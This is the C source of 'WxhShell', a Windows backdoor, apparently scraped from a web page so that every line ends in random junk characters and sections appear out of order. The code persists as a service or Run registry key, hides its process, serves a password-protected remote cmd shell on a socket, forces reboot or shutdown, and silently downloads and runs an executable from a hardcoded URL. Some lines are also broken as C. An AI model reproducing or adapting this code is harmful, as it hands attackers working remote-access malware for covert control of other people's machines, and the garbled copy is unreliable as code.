    ExitThread(0); G}g+2`  
    } C\Rd]P8\  
    break; idQr^{  
    } OmW|\d PU  
  // 关机 $0 )K [K  
  case 'd': { L!5HE])<)  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :\Dm=Q\  
    if(Boot(SHUTDOWN)) ;%&@^;@k%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4_eq@'9-q  
    else { BR*U9K|W  
    closesocket(wsh); G!uxpZ   
    ExitThread(0); wS*UXF&f  
    } bk|>a=o3  
    break; I[/u5V_b'  
    } H Zc;.jJ  
  // 获取shell !q?}[E2  
  case 's': { _[V 6s#Wk3  
    CmdShell(wsh);  .*+ &>m7  
    closesocket(wsh); q0o6%c:gW  
    ExitThread(0); 6 [IiJhVL  
    break; "xKJ?8   
  } zB4gnVhus|  
  // 退出 b^1!_1c  
  case 'x': { _?8T'?-1  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); NB[b[1 Ch  
    CloseIt(wsh); _nF_RpS  
    break; JL1Whf  
    } M~v{\!S  
  // 离开 d] {^  
  case 'q': { X#fI$9a  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); FTn[$q  
    closesocket(wsh); t_3XqjuA  
    WSACleanup(); P<U{jkM\/  
    exit(1); "{}5uth  
    break; 2Ig.hnHj  
        } }\B6d\k  
  } sBh|y F,  
  }  z>!b  
?%?@?W>s@  
  // 提示信息 awUIYAgJ3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]Kd:ZmJ  
} 9tJiIr8i  
  } '{EDdlX  
^#Shs^#  
  return; fz%urbJR  
} :jA~zHO  
a"}?{  
// shell模块句柄 w%htY.-  
int CmdShell(SOCKET sock) {ES3nCL(8  
{ N:0mjHG  
STARTUPINFO si; :)&_  
ZeroMemory(&si,sizeof(si)); FXIQS'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^ `!6Yax?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5 gE  
PROCESS_INFORMATION ProcessInfo; oY &r76  
char cmdline[]="cmd"; AV?*r-vWL.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \JX8`]|&  
  return 0; PR6{Y]e%  
} {min9  
MD&Ebq5V  
// 自身启动模式 4:7z9h]  
int StartFromService(void) tjGQ0-Lo  
{ qT(j%F  
typedef struct t6j|q nfw  
{ ZJS7#<-7o  
  DWORD ExitStatus; yB&s2J  
  DWORD PebBaseAddress; |[0|j/V%O  
  DWORD AffinityMask; 0nC%tCV'  
  DWORD BasePriority; cxVnlgq1  
  ULONG UniqueProcessId; ,+0_kndR  
  ULONG InheritedFromUniqueProcessId; dx|j,1e  
}   PROCESS_BASIC_INFORMATION; {'JoVJKv  
0q81H./3  
PROCNTQSIP NtQueryInformationProcess; A^G%8 )\  
z.FO6y6L  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Vg0Rc t  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "gYn$4|R7*  
R{/nlS5  
  HANDLE             hProcess; vU::dr  
  PROCESS_BASIC_INFORMATION pbi; J 5~bs*a8  
">|fB&~A  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?me0J3u_  
  if(NULL == hInst ) return 0; Bc$t`PI  
AFyf7^^k  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); VCtj8hKDr  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); kd2+k4@#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ZPHB$]ri  
><%z~s  
  if (!NtQueryInformationProcess) return 0; )jvYJ9s  
*?cE]U6;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .:E%cL +h  
  if(!hProcess) return 0; cl[rgj  
zl$'W=[rFs  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; M,zUg_ @  
d(<[$ 3.  
  CloseHandle(hProcess); .z+ [3Oj_E  
@#;2P'KL  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); SD |5v*  
if(hProcess==NULL) return 0; *1|&uE&_R  
a=Pl3Uo  
HMODULE hMod; du  Pzt  
char procName[255]; U2seD5I  
unsigned long cbNeeded; xwq {0jY  
/g@!#Dt  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ar }F^8Ku  
,iV|^]X3$/  
  CloseHandle(hProcess); Zgd| J T7  
 s'RE~,  
if(strstr(procName,"services")) return 1; // 以服务启动 XX+%:,G  
KFx4"f%  
  return 0; // 注册表启动 "{Lp'+wNw  
} X)P9f N~7  
q &#f#Ou  
// 主模块 pKMy:j  
int StartWxhshell(LPSTR lpCmdLine) f!AcBfaLr  
{ =c:K(N qL  
  SOCKET wsl; 1$H*E~  
BOOL val=TRUE; Z$"E|nRN  
  int port=0; qX>mOW^gT8  
  struct sockaddr_in door; !/2u O5  
d?)k<!fJk  
  if(wscfg.ws_autoins) Install(); _XvSe]`f`  
5=(fuY3  
port=atoi(lpCmdLine); Y {a#2(xn  
u[k0z!p_ c  
if(port<=0) port=wscfg.ws_port; yL{X}:;}  
 *Yj!f68  
  WSADATA data; 8R0Q-,'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >|IUjv2L  
>NDI<9<'0}  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Gf*|f"O  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); hj[&.w  
  door.sin_family = AF_INET; u 6A!Sw  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); j\@Ht~G  
  door.sin_port = htons(port); SHWD@WLE4  
+es|0;Z4yP  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9}G.Fr  
closesocket(wsl); AUBZ7*VO  
return 1; j S~W cu  
} }&!fT\4  
-k(bM:  
  if(listen(wsl,2) == INVALID_SOCKET) { 7XrXx:*a5  
closesocket(wsl); \\}tD@V"  
return 1; eb10=Lmj  
} e*K1";  
  Wxhshell(wsl); l1 Nr5PT  
  WSACleanup(); 2Tt^^Lb  
2z#gn9Wb  
return 0; 7 G37V"''  
D[#6jJ Ab  
} 4b5'nu  
JlaT -j  
// 以NT服务方式启动 L{&5Ets  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) mQwP-s  
{ LlbRr.wL  
DWORD   status = 0; 4}&$s  
  DWORD   specificError = 0xfffffff; D6z*J?3^#&  
$1KvL8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; cug=k  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ey!QAEg"X1  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /N=;3yWF  
  serviceStatus.dwWin32ExitCode     = 0; K%i9S;~  
  serviceStatus.dwServiceSpecificExitCode = 0; `YL)[t? V  
  serviceStatus.dwCheckPoint       = 0; !I)wI~XF)5  
  serviceStatus.dwWaitHint       = 0; #ATV#/hW  
{zhajY7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); r" 4u)H>  
  if (hServiceStatusHandle==0) return; *M^(A}+O  
?azi(ja  
status = GetLastError(); `!- w^~c  
  if (status!=NO_ERROR) V\|V1c  
{ $Jc>B#1  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; h=*eOxR"4^  
    serviceStatus.dwCheckPoint       = 0; S~GL_#a  
    serviceStatus.dwWaitHint       = 0; <e)u8+(  
    serviceStatus.dwWin32ExitCode     = status; 7:Cq[u fl  
    serviceStatus.dwServiceSpecificExitCode = specificError; Le,e,#hiY  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6Z ,GD  
    return; ?R#?=<VkG  
  } ^p7g[E&  
U]Pl` =SL  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Fx!NRY_  
  serviceStatus.dwCheckPoint       = 0; g._`"c  
  serviceStatus.dwWaitHint       = 0; &[#iM0;)W0  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); lD+f{GR  
} ]'q"Kw/10  
Fm-D>PR  
// 处理NT服务事件,比如:启动、停止 p#A{.6Pa:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) OUM^ u*  
{ MqKf'6z  
switch(fdwControl) D2N<a=#  
{ 'cgB$:T}.,  
case SERVICE_CONTROL_STOP: YZ\a#s ,0  
  serviceStatus.dwWin32ExitCode = 0; `514HgR  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; OK8|w]-A  
  serviceStatus.dwCheckPoint   = 0; =hAH6C  
  serviceStatus.dwWaitHint     = 0; .G/>X%X  
  { M dKkj[#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~[[(_C3  
  } )\3 RR.p  
  return; J>w3>8!>7  
case SERVICE_CONTROL_PAUSE: `2I<V7SF$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; QJ%[6S  
  break; hf('4^  
case SERVICE_CONTROL_CONTINUE: f5tkv<) %  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; | > t,1T.  
  break; L;%_r)  
case SERVICE_CONTROL_INTERROGATE: #0uD&95<  
  break; 0YsBAfRG  
}; 7c8A|E0\mF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); G_cWp D/  
} j84g6;4Dv  
/\-iV)h1@  
// 标准应用程序主函数 Kf>]M|G c  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) d(t$riFX}  
{ P(|+1$#[  
Pbo759q 1  
// 获取操作系统版本 7SVq fWp  
OsIsNt=GetOsVer(); Tm) (?y  
GetModuleFileName(NULL,ExeFile,MAX_PATH); $C^tZFq  
aePLP  
  // 从命令行安装 TQ`4dVaf  
  if(strpbrk(lpCmdLine,"iI")) Install(); 0Z,a3)jcc  
,z@"pI b  
  // 下载执行文件 NW%u#MZ[h  
if(wscfg.ws_downexe) { BXj]]S2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~k[mowz0  
  WinExec(wscfg.ws_filenam,SW_HIDE); ZNN^  
} 9*b(\Z)N  
YYs/r  
if(!OsIsNt) { 2Y-NxW^]  
// 如果时win9x,隐藏进程并且设置为注册表启动 y} W-OLE  
HideProc(); ;jZf VRl  
StartWxhshell(lpCmdLine); 'jr[ ?WQ  
} ^$VH~i&  
else Ro:DAxi @L  
  if(StartFromService()) s%OPoRE  
  // 以服务方式启动 GFX$vn-/F  
  StartServiceCtrlDispatcher(DispatchTable); BK/_hNz  
else @ )< 3Z  
  // 普通方式启动 r&0IhE  
  StartWxhshell(lpCmdLine); L!l`2[F|  
Xc H_Y  
return 0; *rH# k?  
} (;6vT'hE  
1Vi3/JM @  
/UP1*L  
H7Y :l0b  
=========================================== q7kE+z   
aEvW<jHh  
)/mBq#ZS  
-qNun3  
2Q81#i'Cm  
- :~"c@D  
" }T1.~E  
6(=>!+xpRr  
#include <stdio.h> T@P[jtH<d  
#include <string.h> 1n-+IR"  
#include <windows.h> qC:QY6g$N  
#include <winsock2.h> !L?diR  
#include <winsvc.h> ~M Mv+d88  
#include <urlmon.h> LZ-&qh  
RIV + _}R  
#pragma comment (lib, "Ws2_32.lib") 0T7c=5z4W  
#pragma comment (lib, "urlmon.lib") "f N=Y$G  
\\iX9-aI<  
#define MAX_USER   100 // 最大客户端连接数 `c.P`@KA  
#define BUF_SOCK   200 // sock buffer J2avt  
#define KEY_BUFF   255 // 输入 buffer u?%FD~l:uU  
D@?Tq,= [  
#define REBOOT     0   // 重启 4qvE2W}&  
#define SHUTDOWN   1   // 关机 3!qp+i)?  
Pk/3oF  
#define DEF_PORT   5000 // 监听端口 ,9YgznQ  
`JzP V/6  
#define REG_LEN     16   // 注册表键长度 GJj}|+|  
#define SVC_LEN     80   // NT服务名长度 H_vGa!_  
+"GBuNh  
// 从dll定义API w:HRzU>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3](At%ss  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); )l6(ss!J  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Qr9@e Q1Pp  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); K*9~ g('  
%}[/lIxaE  
// wxhshell配置信息 %@MO5#)NI  
struct WSCFG { %pj T?G7  
  int ws_port;         // 监听端口 ;|r<mT/,  
  char ws_passstr[REG_LEN]; // 口令 vf0 fa46  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,"U|gJn|^  
  char ws_regname[REG_LEN]; // 注册表键名 moCr4*jDX,  
  char ws_svcname[REG_LEN]; // 服务名 2OZ<t@\OY  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 k< $(  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 GV8`.3DBOF  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 r8,'LZIz  
int ws_downexe;       // 下载执行标记, 1=yes 0=no TR'<D9kn  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" zT+ "Z(oz,  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 * 3#RS  
b NR@d'U  
}; -7u_\XFk  
[Wn6d:  
// default Wxhshell configuration <tgfbY^nL  
struct WSCFG wscfg={DEF_PORT, Wxzh'c#\8  
    "xuhuanlingzhe", +ux170Cd3  
    1, }e-D&U  
    "Wxhshell", 4vyJ<b  
    "Wxhshell", DbrK, 'b%  
            "WxhShell Service", L*zfZ&  
    "Wrsky Windows CmdShell Service", @r]1;KG  
    "Please Input Your Password: ", g`I$U%a_2  
  1, p+}eP|N  
  "http://www.wrsky.com/wxhshell.exe", $g  '4'  
  "Wxhshell.exe" 4XNkto  
    }; 8V@\$4@b!#  
?6_U>d{  
// 消息定义模块 :LLz$[c8  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; hx hs>eY  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;\ gat)0n%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; AH|'{  
char *msg_ws_ext="\n\rExit."; [m6%_3zV  
char *msg_ws_end="\n\rQuit."; Fiaeo0  
char *msg_ws_boot="\n\rReboot..."; 9 =D13s(C  
char *msg_ws_poff="\n\rShutdown..."; 9d8U@=  
char *msg_ws_down="\n\rSave to "; I&>5b7Uf  
cdTG ]n  
char *msg_ws_err="\n\rErr!"; ALt^@|!d  
char *msg_ws_ok="\n\rOK!"; uO4R5F|tL  
Y0g6zHk7  
char ExeFile[MAX_PATH]; 4 IXa[xAm  
int nUser = 0; NT<}-^  
HANDLE handles[MAX_USER]; i+~H~k}"X  
int OsIsNt; lB(P+yY,/'  
~`<_xIvrq  
SERVICE_STATUS       serviceStatus; 23'Ac,{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Bi|-KS.9  
\4n9m  
// 函数声明 lFD/hz7lc  
int Install(void); [cT7Iqip  
int Uninstall(void); LEA^o"NW.  
int DownloadFile(char *sURL, SOCKET wsh); Y*YV/E.  
int Boot(int flag); Z[9f8/6<b  
void HideProc(void); ]]/p.#oD,  
int GetOsVer(void); N[wyi&m4  
int Wxhshell(SOCKET wsl); oD_#oX5\  
void TalkWithClient(void *cs); jN{+$ @cI  
int CmdShell(SOCKET sock); zfK3$|  
int StartFromService(void); 28O3N;a  
int StartWxhshell(LPSTR lpCmdLine); 79Q>t%rD[  
\&4)['4,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7vEZb.~4z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 79}Qj7  
.`+N+B(4  
// 数据结构和表定义 {oRR]>  
SERVICE_TABLE_ENTRY DispatchTable[] = Gt;U9k|i  
{ m-R`(  
{wscfg.ws_svcname, NTServiceMain}, yD( v_J*  
{NULL, NULL}  &W? hCr  
}; J" U!j  
@.l?V6g9T  
// 自我安装 >qci $  
int Install(void) uY:u[  
{ l%v2O'h  
  char svExeFile[MAX_PATH]; 1VB{dgr  
  HKEY key; aKw7m= {  
  strcpy(svExeFile,ExeFile); _}Ec[c  
qQe23,x@5  
// 如果是win9x系统,修改注册表设为自启动 @^^,VgW[  
if(!OsIsNt) { tV9K5ON  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { MXynv";<H  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z5 :53,`D'  
  RegCloseKey(key); xB,(!0{`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9`5qVM1O{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qWw{c&{Q],  
  RegCloseKey(key); O],]\M{GL  
  return 0; h;t5v6["  
    } Kr74|W=  
  } rB.LG'GG]  
} W(jP??up  
else { eG%Q 3h  
e*pYlm  
// 如果是NT以上系统,安装为系统服务 RhI>Ak;-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ){"-J&@?  
if (schSCManager!=0) |"k+j_/+  
{ 8&++S> <  
  SC_HANDLE schService = CreateService we2D!Ywr  
  ( 9pq-"?vHY0  
  schSCManager, SAN/ fnM  
  wscfg.ws_svcname, k>!A~gfP~  
  wscfg.ws_svcdisp, fC!+"g55  
  SERVICE_ALL_ACCESS, (zhi/>suG  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , u;=a=>05IR  
  SERVICE_AUTO_START, _A=Pr _kN  
  SERVICE_ERROR_NORMAL, !KmSLr7xU  
  svExeFile, g:fzf>oQ>p  
  NULL, H(ds  
  NULL, ~19&s~  
  NULL, O"f|gc)GLz  
  NULL, THz=_L6  
  NULL IW- BY =C  
  ); 1n EW'F  
  if (schService!=0) ~\[\S!"  
  { ;p/$9b.0:  
  CloseServiceHandle(schService); $qfNEAmDf\  
  CloseServiceHandle(schSCManager);  H+Se  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); jHBP:c  
  strcat(svExeFile,wscfg.ws_svcname); xJF}6yPm@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 'Y:ZWac,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); nVv=smVOt  
  RegCloseKey(key); KmaMS(A(3  
  return 0; _kJW/3eE  
    } Bey|f/ <  
  } 1|3{.Ed  
  CloseServiceHandle(schSCManager); .eG_>2'1  
} KU)~p"0[6]  
} VTwJtWnq  
"D.`:9sk0  
return 1; rT28q .  
} +<\.z*  
W,p?}KiO T  
// 自我卸载 VVm8bl.q  
int Uninstall(void) d9yfSZ  
{ f>jAu;S  
  HKEY key; -aF\ u[b  
kY]^~|i6  
if(!OsIsNt) { S_Ug=8r4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /\|Behif  
  RegDeleteValue(key,wscfg.ws_regname); i8> ^{GODR  
  RegCloseKey(key); [5$Y>Tr!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'I1^70bB  
  RegDeleteValue(key,wscfg.ws_regname); fv?vfI+m  
  RegCloseKey(key); GJbU1k]  
  return 0; tU, >EbwO  
  } 9{XC9 \~  
} pTIE.:g(  
} ,5/zTLd   
else { ahqsbNu1  
j;_ >,\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [+z*&~'  
if (schSCManager!=0) 6qkMB|@Ix  
{ $(ei<cAV  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9ld'SB:#  
  if (schService!=0) */E5<DO  
  { =U_O;NC  
  if(DeleteService(schService)!=0) { }='1<~0  
  CloseServiceHandle(schService); <ZgbmRY8  
  CloseServiceHandle(schSCManager); M3/_E7Qoj  
  return 0; l[Rl:k!  
  } 0ntf%#2{  
  CloseServiceHandle(schService); =RH7j  
  } @>SirYh  
  CloseServiceHandle(schSCManager); o@blvW<v7  
} C J#1j>  
} ^E`SR6_cmj  
`]3A#y)v  
return 1; mQy!*0y  
} Y> f 6  
C6cEt5  
// 从指定url下载文件 BaUcmF2Q  
int DownloadFile(char *sURL, SOCKET wsh) S6bW?8`  
{ ?Z[`sm  
  HRESULT hr; >{huaN B  
char seps[]= "/"; ew{(@p+$  
char *token; B0#JX MX9  
char *file; j1U,X  
char myURL[MAX_PATH]; O6Jn$'os1#  
char myFILE[MAX_PATH]; 95^A !  
[ #1<W`95  
strcpy(myURL,sURL); 'Z=8no`<  
  token=strtok(myURL,seps); N)b.$aC  
  while(token!=NULL) 2#?qey  
  { |ZuS"'3_w  
    file=token; ^i!6q9<{e  
  token=strtok(NULL,seps); "~^ #{q  
  } v6q oH)n  
gS$?#!f  
GetCurrentDirectory(MAX_PATH,myFILE); t?<pyw $  
strcat(myFILE, "\\"); =w <;tb  
strcat(myFILE, file); sGs_w:Hn  
  send(wsh,myFILE,strlen(myFILE),0); 7.N~e}p 8  
send(wsh,"...",3,0); \OX;ZVb?5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); uDXRw*rTv  
  if(hr==S_OK) y o |"-  
return 0; sAec*Q(R  
else }Uc)iNU  
return 1; >p|tIST  
j`A3N7;  
} -"Hy%wE  
~v+A6N:qC  
// 系统电源模块 NwPC9!*  
int Boot(int flag) smTPca)7s  
{ ytg' {)  
  HANDLE hToken; c mI&R(  
  TOKEN_PRIVILEGES tkp; uF89B-t  
236,o {9e  
  if(OsIsNt) {  8%W(",nd  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ROc)LCA  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); z.%K5vrO>  
    tkp.PrivilegeCount = 1; ^a+H`RD  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; sj& j\<(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); C`LHFqv  
if(flag==REBOOT) { lZ![?t}2`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) s2rwFj8 |  
  return 0; qkk!1W  
} ?z$^4u3  
else { IGC:zZ~z  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) O${B)C,  
  return 0; N,M[Opm  
} LWp#i8,  
  } 0v/}W(  
  else { z1R_a=7  
if(flag==REBOOT) { ltH?Ew<]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?ot7_vl  
  return 0; -SGo E=  
} o,yP9~8\  
else { 1o*eu&@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) h~R= ?%H[  
  return 0; a(BEm_l3  
} y>YQx\mK  
} |MQ_VZ{6  
8M&q  
return 1; OPtFz6   
} YLVZ]fN=>  
 wq@{85  
// win9x进程隐藏模块 _)U[c;^6  
void HideProc(void) ]6BV`r]  
{ ^;@Q3~DpP%  
f;7I{Z\<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); NplWF\5y  
  if ( hKernel != NULL ) .lt|$["  
  { -mur` tC  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  ^D.u   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 7j22KQ|EX^  
    FreeLibrary(hKernel); |k ]{WCD]  
  } S(\<@S&  
w#Di  
return; `1fNB1c  
} td"D&1eQ@  
EO: VH  
// 获取操作系统版本 8,DY0PGP  
int GetOsVer(void) 9J $"Qt5;6  
{ Q6lC:cB<  
  OSVERSIONINFO winfo; aHR&6zj4  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); rOyKugHe  
  GetVersionEx(&winfo); xP61^*-2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^^FqN;  
  return 1; I"5VkeIx  
  else ZqK1|/\ rh  
  return 0; {dF_ =`.  
} p}:"@6  
{`>;I  
// 客户端句柄模块 lK 0pr  
int Wxhshell(SOCKET wsl) 3 J!J#  
{ zY^QZceq"  
  SOCKET wsh; X]T&kdQ6q  
  struct sockaddr_in client; s`63 y&Z[  
  DWORD myID; |h6u%t2AY  
{)L*\r  
  while(nUser<MAX_USER) 8v V<A*`  
{ *@(j'0hj  
  int nSize=sizeof(client); @?!&M c2  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); XQhbH^  
  if(wsh==INVALID_SOCKET) return 1; \]y /EOT  
KW 78J~u+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); u4QBD5T"  
if(handles[nUser]==0) dum(T  
  closesocket(wsh); I #8TY/XP  
else ?[z@R4at  
  nUser++; %m5&Y01  
  } r 1x2)  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $FM: 8^  
A]_5O8<buW  
  return 0; pHKGK7 S-  
} 8`GN8 F  
(ibj~g?U,  
// 关闭 socket ]r\d 5  
void CloseIt(SOCKET wsh) Gj ka %  
{ ! 0DOj["  
closesocket(wsh); MLk%U 4  
nUser--; lKyeG(  
ExitThread(0); =_:Mx'7  
} (BG wBL  
nKu)j3o`  
// 客户端请求句柄 Vu1swq)l  
void TalkWithClient(void *cs) :)g}x&A^$  
{ @5:#J !  
}*>xSb1  
  SOCKET wsh=(SOCKET)cs; *:tfz*FG$G  
  char pwd[SVC_LEN]; tB/'3#o  
  char cmd[KEY_BUFF]; ,\^RyHg  
char chr[1]; uJ9 hU`h  
int i,j; 4ynGXJmMlR  
U6K!FOND  
  while (nUser < MAX_USER) { h( MNH6 B1  
`\Ye:$q  
if(wscfg.ws_passstr) { 55K(]%t  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l1uv]t <  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $_orxu0W  
  //ZeroMemory(pwd,KEY_BUFF); O Zn40"`  
      i=0; l`(pV ;{W  
  while(i<SVC_LEN) { 8d|#W  
+txHj(Y`  
  // 设置超时 U%u%_{-  
  fd_set FdRead; Fsi;[be$A  
  struct timeval TimeOut; D wtvtglqV  
  FD_ZERO(&FdRead); q2}6lf,J K  
  FD_SET(wsh,&FdRead); [Zj6v a  
  TimeOut.tv_sec=8; ^nGKuW7\  
  TimeOut.tv_usec=0; Z.E@aml\  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =?oYEO7  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3`U^sr:[%  
}]!?t~5*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :vo#(  
  pwd=chr[0]; kB3@;z:  
  if(chr[0]==0xd || chr[0]==0xa) { O&@pi-=o  
  pwd=0; |:)ARH6l#  
  break; {T'M4y=)i  
  } _<m yM2z  
  i++; yDmx)^En  
    } \l71Q/y6u`  
H*R4AE0  
  // 如果是非法用户,关闭 socket XZH\HK)K-]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); k?VH4 yA  
} .z}*!   
;tG@ 6  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); O;H|nW}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m>&:)K}m  
* G0I2  
while(1) { $-p#4^dg  
kpLx?zW--q  
  ZeroMemory(cmd,KEY_BUFF); E;-*LT&{  
s^zX9IVnp  
      // 自动支持客户端 telnet标准   3Xl!Z^W  
  j=0; +V;@)-   
  while(j<KEY_BUFF) { }+dDGFk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [iGL~RiXtn  
  cmd[j]=chr[0]; >))K%\p   
  if(chr[0]==0xa || chr[0]==0xd) { 6#up BF:  
  cmd[j]=0; _]6n]koD,  
  break; AoFxho  
  } {No Y`j5S  
  j++; >`o;hTS  
    } #2*6esP  
klxNGxWAX  
  // 下载文件 v)s; wD  
  if(strstr(cmd,"http://")) { Gzkvj:(V  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); cTu"Tu\Qw  
